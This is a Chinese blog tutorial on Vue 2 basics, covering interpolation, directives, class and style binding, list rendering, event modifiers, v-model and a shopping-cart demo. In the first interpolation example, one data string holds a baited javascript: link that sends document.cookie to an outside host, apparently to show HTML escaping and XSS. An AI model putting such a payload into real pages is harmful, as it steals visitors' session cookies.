Justin-刘清政的博客

vue/2-Vue基础

2020-12-13

Vue介绍

一 模板语法

1.1 插值

1.1.1 概述

1
2
3
4
5
6
7
8
9
1 文本 {{}}
2 纯html
3 表达式

注意:直接把Vue对象赋值给变量,修改变量值,可以直接修改页面内容

-vm.$data.name

-vm.name

1.1.2 案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
{{name}}
<br>
{{10}}
<br>
{{10+20}}
<br>
{{10>20?'大于':'小于'}}
<br>
{{myhtml}}
</div>
</body>
<script>
new Vue({
el:'#box',
data:{
name:'lqz',
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
}
})
</script>
</html>

二 指令

2.1 文本相关指令

1
2
3
4
5
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<p v-text='msg'>原文本会被替换</p>
<div v-html="myhtml"></div>
<div v-show="isShow">显示</div>
<div v-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
msg: 'lqz',
myhtml:'<a href="http://www.baidu.com">点我</a>',
isShow:true,
isCreated:true
}
})
</script>
</html>

2.2 事件指令

1
2
3
4
5
6
7
8
9
<!-- v-on: 指令 简写 @ -->


<!-- 不传参事件绑定,但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下,事件对象应该显式传入 -->
<p @click="fn($event)"></p>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button v-on:click="test">点我</button>
<button @click="test()">点我2</button>
<button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
},
methods:{
test(){
console.log('test')
},
test2(ev){
console.log(ev)
},
}
})
</script>
</html>

2.3 属性指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass{
background: red;
}
.yellowclass{
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!--绑定src -->
<img v-bind:src="mysrc"/>
<img :src="mysrc"/>

<!--绑定class-->
<div v-bind:class="red">111111111</div>
<button @click="change">点击变色</button>
<div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
isActive:false,
red:'redclass',
yellow:'yellowclass',


},
methods: {
change(){
this.isActive=!this.isActive
},
}
})
</script>
</html>

三 class与style

3.1 class的三种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
<p :class="classObj">class对象写法</p>
<p :class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
classObj: {
class_a: true,
class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
},
classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')

},
methods: {

}
})
</script>
</html>

3.2 style的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :style="'background:'+'red'">class三目写法</div>
<div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
<!--vm.isActive=true-->
<p :style="styleobj">class对象写法</p>
<p :style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
styleobj:{
background:'yellow',
fontSize:'30px',
},
styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop

},
methods: {

}
})
</script>
</html>

四 条件渲染

4.1 动态创建删除(v-else)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="handlediv">动态删除添加</button>
<div v-if="isActive">我出现了</div>
<div v-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,

},
methods: {
handlediv() {
this.isActive = !this.isActive
}
}
})
</script>
</html>

五 列表渲染(v-for)

5.1 v-if+v-for控制购物车显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="add">加入购物车</button>
<ul v-if="!datalist.length==0">
<li v-for="data in datalist">{{data}}</li>
</ul>
<div v-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
// datalist:['111','222','3333']
datalist:[]

},
methods: {
add(){
this.datalist=['111','222','3333']
},
}
})
</script>
</html>

5.2 v-if/v-else-if/v-else

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div v-if="which==1">1111</div>
<div v-else-if="which==2">222</div>
<div v-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
which:1

},

})
</script>
</html>

5.3 v-for遍历列表,对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<ul>
<li v-for="(value,index) in arr">{{value}}---{{index}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) in obj">{{value}}---{{key}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) of obj">{{value}}---{{key}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
arr: ['11', '22', '33'],
obj: {name: 'lqz', age: 18, sex: '男'}

},

})
</script>
</html>

5.4 key值解释

1
2
3
4
5
6
7
<!-- 虚拟dom比对变更优化相关,使用唯一key值,插入一个标签,更改的少
跟踪每个节点身份,从而重新排序现有元素
理想的key值是每项都有且唯一的值,id等
-->
<ul>
<li v-for="(value,index) in arr" :key="index">{{value}}---{{index}}</li>
</ul>

5.5 数组更新与检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--
1 使用以下方法操作数组,可以检测变动:push,pop,shift,unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map(),新数组替换旧数组
-页面不会更改:vm.arr.concat(['44','55'])
-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改:通过索引值更新数组
-解决方案一:
vm.arr[0]
"11"
vm.arr[0]='99'
"99"
vm.arr.splice(0,1,'88')
["99"]
-解决方案二
Vue.set(vm.arr,0,'lqz')

3 上面能更新是因为作者重写了那些方法


-->

六 事件处理

input

change

blur

6.1 input过滤案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}

.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!-- <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!-- <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
<p><input type="text" v-model="mytext" @input="handleChange"></p>
<ul>
<li v-for="data in newlist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext: '',
datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
},
methods: {
handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
})
},
},

})
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
// if(item.indexOf('a')>-1){
// return true
// }else {
// return false
// }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
})
</script>
</html>

6.2 简单事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>

</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow:true,
},
methods: {
handleShow() {
this.isShow=!this.isShow
},
},

})
</script>
</html>

6.3 事件修饰符

.stop 阻止事件冒泡

.prevent 阻止a链接跳转

.self 只处理自己的事件,子控件冒泡的事件不处理

.once 只处理一次就解绑(抽奖页面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
<hr>
<ul @click="handleUl">
<li @click="handleLi($event)">111</li>
<li @click.stop="handleLinew">222</li>
<li @click="handleLi">333</li>
</ul>
<br>
<a href="http://www.baidu.com" @click="handlea($event)">点击跳转,不拦截</a>
<a href="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>

<ul @click.self="handleUl">
<li @click="handleLi2">111</li>
<li @click="handleLi2">222</li>
<li @click="handleLi2">333</li>
</ul>
<button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
},
methods: {
handleUl() {
console.log('ululul')

},
handleLi(ev) {
console.log('lilili')
ev.stopPropagation()
},
handleLi2(){
console.log('safsd')
},

handleLinew() {
console.log('lililinew')
},
handlea(ev) {
ev.preventDefault()
console.log('不跳了')
},
test(){
console.log('test')
},
},

})
</script>
</html>

6.4 按键修饰符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">

<input type="text" @keyup="handleKeyUp" v-model="mytext">
<input type="text" @keyup.enter="handleKeyUp2" v-model="mytext">
<!--不是所有的按键都写了,所以可以使用keycode数字-->
<input type="text" @keyup.13="handleKeyUp2" v-model="mytext">
<ul>
<li v-for="data in datalist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
mytext:'',
datalist:[]
},
methods: {
handleKeyUp(ev){
console.log(ev)
if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
}
},
handleKeyUp2(){
this.datalist.push(this.mytext)
},
}

})
</script>
</html>

七 表单控件绑定/双向数据绑定

7.1 v-model基本使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">

<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
},

})
</script>
</html>

7.2 checkbox选中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">

<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
<br>
<input type="checkbox" v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
radio:false,
},

})
</script>
</html>

7.3 多选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你喜欢的运动</p>
<input type="checkbox" v-model="checkgroup" value="抽烟">抽烟
<input type="checkbox" v-model="checkgroup" value="喝酒">喝酒
<input type="checkbox" v-model="checkgroup" value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
checkgroup:[],
},

})
</script>
</html>

7.4 单选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你最喜欢的编程语言</p>
<input type="radio" value="Python" v-model="radio">Python
<input type="radio" value="Java" v-model="radio">Java
<input type="radio" value="c++" v-model="radio">C++
{{radio}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
radio:'',
},

})
</script>
</html>

7.5 购物车案例

7.5.1 基本购物车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup">
{{data}}
</li>
</ul>
<!--要加括号,函数返回什么,该位置就写什么-->
<p>总金额是:{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
}
})
</script>
</html>

7.5.1 全选,全不选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
</li>
</ul>
<!--要加括号,函数返回什么,该位置就写什么-->
<p>总金额是:{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
}
}
})
</script>
</html>

7.5.3 控制加减

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
<button @click="data.number++">+</button>
{{data.number}}
<button @click="handleClick(data)">-</button>
</li>
</ul>
<!--要加括号,函数返回什么,该位置就写什么-->
<p>总金额是:{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
},
handleClick(data){
if(data.number==1){
data.number=1
}else{
data.number--
}

}
}
})
</script>
</html>

7.6 v-model之lazy,number,trim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model.lazy="mytext"> {{mytext}}
<br>
<input type="text" v-model.number="mytext"> {{mytext}}
<br>
<input type="text" v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
},
})
</script>
</html>
使用支付宝打赏
使用微信打赏

点击上方按钮,请我喝杯咖啡!

扫描二维码,分享此文章